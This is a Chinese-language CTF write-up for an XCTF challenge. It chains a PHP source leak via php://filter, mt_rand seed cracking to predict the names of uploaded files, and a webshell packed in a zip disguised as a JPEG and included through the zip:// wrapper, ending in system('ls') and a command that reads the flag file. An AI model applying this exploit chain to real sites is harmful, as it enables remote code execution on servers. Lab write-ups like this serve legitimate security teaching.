【原理】文件上传漏洞
【目的】了解使用zip协议
【目标url】http://111.198.29.45:31219/(xctf环境可能已下线)php
http://111.198.29.45:31219/?page=php://filter/read=convert.base64-encode/resource=upload这里注意.php是自动补的,不须要写。
<?php error_reporting(0); function show_error_message($message) { die("<div class=\"msg error\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); } function show_message($message) { echo("<div class=\"msg success\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); } function random_str($length = "32")//上传的文件被重命名 { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } session_start(); $reg='/gif|jpg|jpeg|png/'; if (isset($_POST['submit'])) { $seed = rand(0,999999999);// 生成随机数作种子 mt_srand($seed);// 用seed给随机数发生器播种 $ss = mt_rand();// 取随机数 $hash = md5(session_id() . $ss);//Burp改包Cookie: PHPSESSID=0 setcookie('SESSI0N', $hash, time() + 3600); //能够看见,在mt_srand()播种以后执行了第一次mt_rand(),并且变量$hash的值是可见的。 //但$hash的值是session_id()的返回值与种子拼接后再 MD5 的结果。 if ($_FILES["file"]["error"] > 0) { show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]); } $check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif") || ($_FILES["file-upload-field"]["type"] == "image/jpeg") || ($_FILES["file-upload-field"]["type"] == "image/pjpeg") || ($_FILES["file-upload-field"]["type"] == "image/png")) && ($_FILES["file-upload-field"]["size"] < 204800)); $check3=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION)); if ($check3) show_error_message("Nope!"); if ($check2) { $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name']; if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) { show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]); } else show_error_message("Something wrong with the upload..."); } else { show_error_message("only allow gif/jpeg/png files smaller than 200kb!"); } } ?>
函数mt_rand()在种子相同的时候,给出的随机数序列是同样的,因此只要知道了种子,该函数的随机数即可以预测。
这样子上传路径就知道了html
==重点在文件名,文件名是随机生成的。==
审计代码上传的文件名被改了嘛,爆一爆先是 mt_srand(rand(0, 999999999)) 设置个 seed, 而后返回第一个 mt_rand() ,使用 php_mt_seed 爆破种子。
mt_srand() 的 seed 和输出序列是对应的,根据第一个 mt_rand() 爆出 seed, 就能够知道文件名,进行包含了。shell
菜刀链接http://111.198.29.45:31219/?page=zip://./uP1O4Ds/xxx.jpg%231.php
不管是rand()函数仍是mt_rand()函数,当随机数种子相同的时候,不管运行多少次,产生的随机数序列都是同样的,大牛已经用c写了一个爆破种子程序安全
http://www.openwall.com/php_mt_seed/
首先咱们下好.tar.gz
sudo tar -zxvf php_mt_seed-3.4.tar.gz -C ../ctf(解压到ctf文件夹里)
进入ctf先make(c的就是这样),出来个php_mt_seed
能够先写个PHP看一下本机的mt_rand()
php -r ‘echo mt_rand().”\n”;’ //echo输出php自动播种种子,自动生成随机数(1416....)
./php_mt_seed 1416259324 //用php_mt_seed工具把产生的随机数做为参数去爆破
种子(1349365831)
是 php manual 中说,自动播种种子是指:在每次调用 mt_rand()函数以前都播种一次种子呢,仍是屡次调用 mt_rand()函数以前,只播种一次种子呢,这对于咱们可否猜到产生的随机数序列相当重要.
服务器
在测试中,在没有进行手工播种的状况下产生两个连续的随机数,而后去爆破种子,获得了三个可能种子,通过测试发现其中一个种子产生的随机数序列和预期的相同,因此能够猜测在php中产生一系列的随机数时,只进行了一次播种!想了解到更多
php的随机数的安全性分析cookie
test.phpsession
<?php ini_set('max_execution_time', '0'); $std = "4b7a77dc528575247da8e4d51f9a8d2f"; // cookie 中的 SESSION for($i=0;$i<=999999999;$i++) { $ha = md5("0" . $i); //设为0而不是空 if($ha === $std) { echo "Success-----------=>" . $i; // 爆出随机数为 i break; } if($i % 100000000 == 0) echo $i . "\n"; } ?>
222.phpdom
<?php $arr = array(2317092339,2686457404,3610056016,3610056017); //爆出来的种子把上图的数值填进去 foreach($arr as $a) { mt_srand($a); $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; $ss = mt_rand(); //与服务器的随机数对应 for ($i = 1; $i <= 32; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } // echo 'zip://uP1O4Ds/' . $str . '_test.png%23test&a=phpinfo();' . "<br>"; echo 'http://111.198.29.45:57784/?page=phar://uP1O4Ds/' . $str . '_test.png/test' . <br>; } ?>
获得路径
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=phpinfo();
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=echo%20system(%27ls%27);
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=echo%20system(%27cat%20./flag-Edi98vJF8hnIp.txt%27);函数
zip 伪协议配合文件包含
某些状况下,环境中存在文件包含漏洞而且能够上传文件,可是只限 jpg 文件。
这时候能够用 zip 协议,用法以下:
zip://path/archive.zip#dir/file.txt
这个 zip 文件不必定要以.zip为后缀,只要该文件有 zip 正常的文件结构便可。
好比我要上传一个shell.php,能够先添加进压缩包pack.zip中,而后重命名为pack.jpg。
这时候上传这个 jpg 文件,而后使用如 zip 伪协议进行包含:
zip://pack.jpg#shell.php工具